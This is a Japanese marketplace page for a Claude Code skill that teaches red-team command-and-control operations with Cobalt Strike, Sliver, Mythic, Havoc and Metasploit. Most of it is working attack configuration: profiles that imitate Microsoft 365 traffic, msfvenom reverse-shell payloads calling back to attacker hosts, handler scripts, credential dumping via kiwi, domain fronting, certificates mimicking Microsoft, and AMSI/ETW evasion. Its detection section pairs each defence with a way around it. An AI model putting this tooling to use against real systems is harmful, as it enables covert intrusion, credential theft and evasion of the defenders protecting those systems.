mcpField
O
offensive-c2-frameworks

offensive-c2-frameworks

github.com/snailsploitセキュリティ9.7k127 回インストール2 週間前に更新
リポジトリ

offensive-c2-frameworks について

レッドチーム担当者向けに、C2 フレームワーク、通信設定、リダイレクター基盤、運用上のセキュリティを扱うスキルです。Cobalt Strike、Sliver、Mythic、Havoc、Metasploitと検知上の考慮事項を解説します。

主な機能

  1. 01C2 フレームワークの概要
  2. 02インプラントの通信設定
  3. 03リダイレクター基盤の構成例
  4. 04DNS ベースの C2 設定
  5. 05TLS 証明書の考慮事項
  6. 06検知と OPSEC の指針

活用シーン

  1. 01演習で使う C2 フレームワークの比較
  2. 02主系・予備通信チャネルの計画
  3. 03C2 トラフィックと検知リスクの確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-c2-frameworks

インストール後、Claude Code で/offensive-c2-frameworksを入力して読み込まれたか確認します。

詳細

オフェンシブ C2 フレームワーク

コマンド&コントロールは、継続的なレッドチーム活動の基盤です。C2 フレームワークは、インプラントの通信、タスクの配布、侵害後の活動、ラテラルムーブメントの連携を管理します。適切なフレームワークの選択と設定、そしてその周囲に適切なインフラを構築することによって、作戦が最初の 48 時間を乗り切るか、初期アクセスから数分で発覚するかが決まります。

このスキルでは、プロフェッショナルなレッドチーム活動で使用する主要な C2 フレームワーク、オペレーションセキュリティを確保するための設定、バックエンドサーバーを保護するインフラパターン、検知されやすい作戦と耐性の高い作戦を分けるトレードクラフト上の判断について説明します。これらのツールのデプロイ方法だけでなく、最新の EDR やネットワーク監視に対して、特定の設定が重要となる理由も理解していることが求められます。

クイックワークフロー

  1. 活動におけるネットワーク上の制約を定義します。許可されている外向き通信プロトコル、プロキシ要件、監視体制を特定します。
  2. 対象環境の制限に基づいて、主な C2 フレームワークとトランスポートを選択します。
  3. インプラントとチームサーバーの間にリダイレクターインフラを構築します。チームサーバーを直接公開してはいけません。
  4. 対象組織の正規のトラフィックパターンを模倣するように、通信プロファイルを設定します。
  5. 適切なスリープ間隔、ジッター、有効期限を指定してインプラントを生成します。
  6. 異なるトランスポートとインフラを使用して、主な C2 チャネルとフォールバック用の C2 チャネルを確立します。
  7. 本番環境の対象に展開する前に、検知シグネチャに照らして C2 トラフィックを監視します。

Cobalt Strike

Cobalt Strike は、最も広く導入されている商用 C2 フレームワークです。Malleable C2 プロファイル、柔軟な Beacon、成熟した侵害後ツールキットが強みです。プロファイルのカスタマイズ、スリープ管理、BOF の実行により、ステルス性を高める設定が可能です。

Malleable C2 プロファイル

Malleable プロファイルでは、Beacon の通信方法(HTTP ヘッダー、URI パス、データエンコーディング、TLS パラメーター)を定義します。適切に作成されたプロファイルは、特定の正規アプリケーションを模倣します。

# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter    "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";

https-certificate {
    set C   "US";
    set ST  "Washington";
    set L   "Redmond";
    set O   "Microsoft Corporation";
    set OU  "Microsoft IT";
    set CN  "outlook.office365.com";
    set validity "365";
}

http-get {
    set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            prepend "<!DOCTYPE html><html><head></head><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {
    set uri "/owa/service.svc";
    set verb "POST";

    client {
        header "Content-Type" "application/json; charset=utf-8";

        id {
            base64url;
            prepend "token=";
            header "Cookie";
        }

        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            base64;
            print;
        }
    }
}
Beacon の種類とピボット
# Beacon types and their use cases:
# HTTP/HTTPS Beacon  -- standard egress, most flexible
# DNS Beacon         -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon         -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon         -- bind/reverse TCP for internal pivoting

# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake

# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
#   beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host

# Sleep and jitter configuration in Beacon
#   beacon> sleep 300 45
#   Sets 300-second sleep with 45% jitter (sleep varies 165-435 seconds)
#   High sleep + high jitter = harder to detect via beaconing analysis
Beacon Object Files(BOF)

BOF は、新しいプロセスを起動せずに Beacon のメモリ内でコンパイル済みの C コードを直接実行します。これは、プロセスベースの検知を回避するうえで重要です。

/* example_bof.c -- inline whoami without spawning a child process */
#include <windows.h>
#include "beacon.h"

void go(char *args, int alen) {
    DWORD bufSize = 256;
    char username[256];
    char domain[256];

    WINBASEAPI BOOL WINAPI KERNEL32$GetUserNameA(LPSTR, LPDWORD);
    WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

    if (ADVAPI32$GetUserNameA(username, &bufSize)) {
        BeaconPrintf(CALLBACK_OUTPUT, "Username: %s", username);
    }
}
# Compile and load BOF
# x86_64-w64-mingw32-gcc -c example_bof.c -o example_bof.o
# beacon> inline-execute example_bof.o

# Key BOF repositories for red teams:
#   - trustedsec/CS-Situational-Awareness-BOF (user/network enumeration)
#   - anthemtotheego/InlineWhispers (syscall-based BOFs)
#   - rvrsh3ll/BOF_Collection (mixed utility BOFs)

Sliver

Sliver は、mTLS、WireGuard、HTTP(S)、DNS トランスポートをネイティブでサポートするオープンソースの C2 フレームワークです。マルチプレイヤー運用に対応しており、複数のオペレーターがチームサーバーを共有できます。

インプラントの生成
# Start Sliver server
./sliver-server

# Generate implants with different transports

# mTLS implant -- encrypted, mutual authentication
sliver > generate --mtls 10.10.14.5 --os windows --arch amd64 \
    --name FINANCE-WS --skip-symbols --disable-sgn

# WireGuard implant -- encapsulated in WireGuard tunnel
sliver > generate --wg 10.10.14.5:53 --os windows --arch amd64 \
    --name FINANCE-WG --skip-symbols

# DNS implant -- for highly restrictive networks
sliver > generate --dns c2.example.com --os windows --arch amd64 \
    --name FINANCE-DNS --skip-symbols

# HTTP(S) implant with custom parameters
sliver > generate --http https://cdn.example.com --os windows --arch amd64 \
    --name FINANCE-HTTPS --skip-symbols \
    --seconds 60 --jitter 30

# Start matching listeners
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > wg --lport 53
sliver > dns --domains c2.example.com
sliver > https --domain cdn.example.com --lport 443
オペレーターのマルチプレイヤー運用と Armory
# Multiplayer: generate operator configs for team members
sliver > new-operator --name operator1 --lhost teamserver.internal
# Distribute the resulting .cfg file to operators

# Armory: install community extensions
sliver > armory install rubeus
sliver > armory install seatbelt
sliver > armory install sharp-hound-4

# Use extensions in a session
sliver (FINANCE-WS) > rubeus kerberoast
sliver (FINANCE-WS) > seatbelt -- -group=all

# Pivoting through Sliver
sliver (FINANCE-WS) > portfwd add --bind 127.0.0.1:9050 --remote 172.16.0.10:445
sliver (FINANCE-WS) > socks5 start

Mythic

Mythic は、ウェブベースの UI と、エージェント、C2 プロファイル、変換コンテナのためのプラグインアーキテクチャを備えたモジュール式 C2 プラットフォームです。対象 OS と機能要件に基づいてエージェントを選択します。

エージェントの選択とデプロイ
# Install Mythic
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/apollo
./mythic-cli install github https://github.com/MythicAgents/poseidon
./mythic-cli install github https://github.com/MythicAgents/medusa
./mythic-cli install github https://github.com/MythicC2Profiles/http

# Start Mythic
./mythic-cli start

# Agent capabilities:
# Apollo    -- Windows C# agent, inline .NET assembly, token manipulation
# Poseidon  -- macOS/Linux Go agent, SSH spawning, keylogging
# Medusa    -- Python agent, cross-platform, extensible
C2 プロファイルの設定
{
    "name": "http_profile",
    "is_p2p": false,
    "parameters": [
        {
            "name": "callback_host",
            "value": "https://cdn-static.example.com"
        },
        {
            "name": "callback_port",
            "value": 443
        },
        {
            "name": "callback_interval",
            "value": 60
        },
        {
            "name": "callback_jitter",
            "value": 37
        },
        {
            "name": "headers",
            "value": {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                "Accept": "text/html,application/xhtml+xml",
                "Host": "cdn-static.example.com"
            }
        },
        {
            "name": "get_uri",
            "value": "/api/v1/content"
        },
        {
            "name": "post_uri",
            "value": "/api/v1/telemetry"
        }
    ]
}

Havoc

Havoc は、スリープの難読化、間接システムコール、ハードウェアブレークポイントを利用した AMSI/ETW バイパスなど、高度な回避機能を備えた Demon エージェントを特徴とする、最新の C2 フレームワークです。

Demon エージェントの設定
# Havoc teamserver configuration -- havoc.yaotl
Teamserver:
  Host: "0.0.0.0"
  Port: 40056
  Build:
    Compiler64: "/usr/bin/x86_64-w64-mingw32-gcc"
    Nasm: "/usr/bin/nasm"

Operators:
  - Name: "operator1"
    Password: "Sup3rS3cure!"

Listeners:
  - Name: "HTTPS-Primary"
    Protocol: "Https"
    Host: "10.10.14.5"
    Port: 443
    Secure: true
    Uris:
      - "/api/v2/session"
      - "/api/v2/health"
      - "/api/v2/telemetry"
    Headers:
      - "Content-Type: application/json"
      - "Server: nginx/1.24.0"
      - "X-Request-Id: "
スリープの難読化と回避
# Demon sleep obfuscation techniques:
# Ekko   -- timer-queue based, encrypts Beacon in memory during sleep
# Zilean -- similar approach using undocumented APIs
# Foliage -- APC-based sleep obfuscation

# Demon agent generation options:
# - Indirect syscalls: bypass user-mode hooks by resolving syscall numbers dynamically
# - Sleep mask: encrypt agent memory during sleep to evade memory scanners
# - Stack spoofing: manipulate return addresses to hide call origin
# - AMSI/ETW patching: hardware breakpoints avoid in-memory patching detection

# In the Havoc UI:
# Payload > Generate > Demon
#   Sleep Technique: Ekko
#   Indirect Syscalls: Enabled
#   Sleep Mask: Enabled
#   AMSI/ETW Bypass: Hardware Breakpoints
#   Sleep: 60
#   Jitter: 40

Metasploit Framework

Metasploit は、ペイロードの生成、初期アクセスの悪用、商用ツールを利用できない環境において、今も不可欠です。ペイロードの生成には msfvenom を使用し、コールバックの受信には multi/handler を使用します。

msfvenom によるペイロード生成
# Staged vs Stageless:
# Staged (windows/meterpreter/reverse_https) -- small initial payload, downloads stage
# Stageless (windows/meterpreter_reverse_https) -- full payload, no staging handshake

# Windows stageless HTTPS Meterpreter
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=10.10.14.5 LPORT=443 \
    HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
    StagerVerifySSLCert=true \
    HandlerSSLCert=/opt/certs/c2.pem \
    -f exe -o payload.exe

# C# shellcode for custom loaders
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=10.10.14.5 LPORT=443 \
    -f csharp -o shellcode.cs

# Linux ELF payload
msfvenom -p linux/x64/meterpreter_reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f elf -o payload.elf

# macOS Mach-O payload
msfvenom -p osx/x64/meterpreter_reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f macho -o payload.macho
Multi/Handler の設定
# Resource script: handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 0.0.0.0
set LPORT 443
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
set HandlerSSLCert /opt/certs/c2.pem
set StagerVerifySSLCert true
set SessionCommunicationTimeout 600
set ExitOnSession false
set EnableStageEncoding true
set AutoRunScript "post/windows/manage/migrate"
run -j

# Launch with resource script
# msfconsole -r handler.rc
# Post-exploitation essentials in Meterpreter
# meterpreter> getuid
# meterpreter> sysinfo
# meterpreter> migrate -N explorer.exe
# meterpreter> load kiwi
# meterpreter> creds_all
# meterpreter> portfwd add -l 9050 -p 445 -r 172.16.0.10
# meterpreter> run post/multi/manage/autoroute
# meterpreter> background
# msf6> use auxiliary/server/socks_proxy
# msf6> run

リダイレクターインフラ

チームサーバーを対象ネットワークに直接公開してはいけません。リダイレクターはインプラントと C2 サーバーの間に配置され、スキャンを受け止めるとともに、使い捨て可能なフロントエンドインフラを提供します。

Apache mod_rewrite リダイレクター
# /etc/apache2/sites-enabled/redirector.conf
# Redirect valid C2 traffic to team server, send everything else to a decoy

<VirtualHost *:443>
    ServerName cdn-static.example.com
    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/cdn-static.example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/cdn-static.example.com/privkey.pem

    RewriteEngine On

    # Block common scanners and researchers
    RewriteCond %{HTTP_USER_AGENT} (curl|wget|python|scanner|nikto|nmap) [NC]
    RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

    # Require correct URI paths matching your C2 profile
    RewriteCond %{REQUEST_URI} ^/owa/auth/logon\.aspx$ [OR]
    RewriteCond %{REQUEST_URI} ^/owa/service\.svc$ [OR]
    RewriteCond %{REQUEST_URI} ^/autodiscover/autodiscover\.xml$
    RewriteRule ^.*$ https://teamserver.internal:443%{REQUEST_URI} [P,L]

    # Everything else goes to a legitimate-looking decoy
    RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

    ProxyPassReverse / https://teamserver.internal:443/
</VirtualHost>
CDN フロンティングとドメイン借用
# Domain fronting: use a CDN where the Host header routes to your backend
# The outer TLS SNI shows a legitimate domain; the inner Host header reaches your C2

# Example with a CDN:
# 1. Register your backend with the CDN (e.g., cdn-12345.example-cdn.net)
# 2. In your C2 profile, set Host header to your CDN endpoint
# 3. Implants connect to a high-reputation CDN IP
# 4. Network monitors see traffic to the CDN, not your server

# Malleable profile snippet for CDN fronting
http-get {
    set uri "/content/static/js/app.js";
    client {
        header "Host" "your-tenant.cdn-provider.net";
        header "Accept" "*/*";
    }
}

# Domain borrowing: use an abandoned or unmonitored subdomain
# on a trusted domain that points to infrastructure you control
# Requires finding dangling CNAME or A records

DNS ベースの C2

DNS C2 はポート 53 を使用し、多くの場合、ファイアウォールの制限を回避します。その代わり、帯域幅は低くなります。DNS チャネルは低速ですが、耐障害性に優れています。

# DNS C2 infrastructure setup
# 1. Register a domain: c2ops.example.com
# 2. Create NS records pointing a subdomain to your team server
#    dns.c2ops.example.com  NS  ns1.c2ops.example.com
#    ns1.c2ops.example.com  A   <team-server-ip>

# 3. Configure Cobalt Strike DNS listener
#    Listeners > Add > Beacon DNS
#    DNS Hosts: dns.c2ops.example.com
#    DNS Port (Bind): 53

# 4. Sliver DNS listener
# sliver > dns --domains dns.c2ops.example.com --lport 53

# Verify DNS resolution reaches your server
dig A test.dns.c2ops.example.com @8.8.8.8
# If your team server receives the query, DNS C2 will function

# DNS over HTTPS (DoH) for the implant's DNS resolution
# prevents local DNS logging while maintaining DNS-based C2 transport

証明書の管理

C2 インフラストラクチャ上の TLS 証明書は、OPSEC とインプラントの信頼性検証の両方に影響します。

# Let's Encrypt for legitimate-looking certificates
certbot certonly --standalone -d cdn-static.example.com \
    --agree-tos --email [email protected]

# Self-signed with matching metadata for internal redirectors
openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \
    -keyout c2.key -out c2.crt -nodes \
    -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=outlook.office365.com" \
    -addext "subjectAltName=DNS:outlook.office365.com,DNS:*.office365.com"

# PKCS12 bundle for Cobalt Strike
openssl pkcs12 -export -in c2.crt -inkey c2.key -out c2.p12 \
    -name "outlook.office365.com" -passout pass:changeit

# Import into Cobalt Strike keystore
keytool -importkeystore -srckeystore c2.p12 -srcstoretype PKCS12 \
    -destkeystore c2.store -deststoretype JKS \
    -srcstorepass changeit -deststorepass changeit

# Certificate pinning in implants prevents MitM from security appliances
# Cobalt Strike: set trust_x509_c2 in malleable profile
# Sliver: mTLS provides mutual authentication by default

検出/防御側の視点

ネットワーク防御担当者や脅威ハンターは、複数のレイヤーで C2 を標的にします。

  • JA3/JA3S フィンガープリンティング:TLS クライアントおよびサーバーの Hello フィンガープリントから、C2 フレームワークを特定できます。Cobalt Strike のデフォルトの Java TLS スタックには、特徴的な JA3 ハッシュがあります。対策:カスタム TLS スタックを使用するか、CDN フロントングを利用して CDN の JA3S を引き継ぎます。
  • ビーコン分析:ジッターがあっても、コールバック間隔が規則的だと統計的なパターンが生じます。ネットワーク検出ツール(Rita、Zeek)は、接続メタデータの頻度分析を行います。対策:大きなジッター(40%以上)、可変のスリープ時間、対話時のみのコールバックを使用します。
  • HTTP プロファイルのシグネチャ:デフォルトの Malleable プロファイルには公開済みのシグネチャがあります。防御側は、脅威インテリジェンスで共有されているプロファイル設定から侵害指標を抽出します。対策:カスタムプロファイルを作成し、公開テンプレートを避け、c2lint を使って既知のシグネチャセットと照合します。
  • DNS トンネリングの検出:単一ドメインへのクエリ数が多く、サブドメインラベルのエントロピーが高い場合、DNS C2 の兆候となります。対策:DNS コールバックをレート制限し、短いラベルを使用し、正規の名前解決に混在させます。
  • メモリスキャン:EDR エージェントは、既知の C2 フレームワークの文字列、リフレクティブローダーのスタブ、シェルコードのパターンを求めてプロセスメモリをスキャンします。対策:スリープ難読化、メモリ内暗号化、fork-and-run の代わりに BOF を使用します。
  • 証明書の異常:自己署名証明書、ドメインのメタデータと一致しない証明書、または有効期間の短い証明書はアラートの原因になります。対策:Let's Encrypt を利用して、正規の認証局が発行した証明書を使用します。
  • 名前付きパイプの監視:Sysmon EventID 17/18 は、名前付きパイプの作成と接続を記録し、SMB Beacon によるピボットを明らかにします。対策:正規の Windows サービスを模倣したパイプ名を使用します。

エンゲージメント用チートシート

フレームワーク主なトランスポートステルス機能最適なユースケースMITRE ID
Cobalt StrikeHTTPS/DNS/SMBMalleable プロファイル、BOF全範囲のレッドチーム演習T1071.001
SlivermTLS/WireGuard/DNSマルチプレイヤー、アーモリーCS のオープンソース代替T1573.002
MythicHTTP(S)モジュール式エージェント/プロファイルカスタムエージェントの要件T1071.001
HavocHTTPSEkko スリープ、間接システムコールEDR の監視が厳しい環境T1573.001
MetasploitHTTPS/TCP広範なモジュールライブラリー初期アクセス、CTF、ラボ作業T1071.001
インフラストラクチャ目的主な設定
Apache リダイレクタースキャナーから C2 を隠すプロファイルに一致する mod_rewrite ルール
CDN フロントング信頼されたドメインの背後に C2 を隠すホストヘッダーによるバックエンドへのルーティング
DNS C2ファイアウォールの制限を回避チームサーバーへの NS 委任
TLS 証明書証明書ベースのアラートを回避Let's Encrypt またはメタデータを一致させた証明書

主要な参考資料

コメント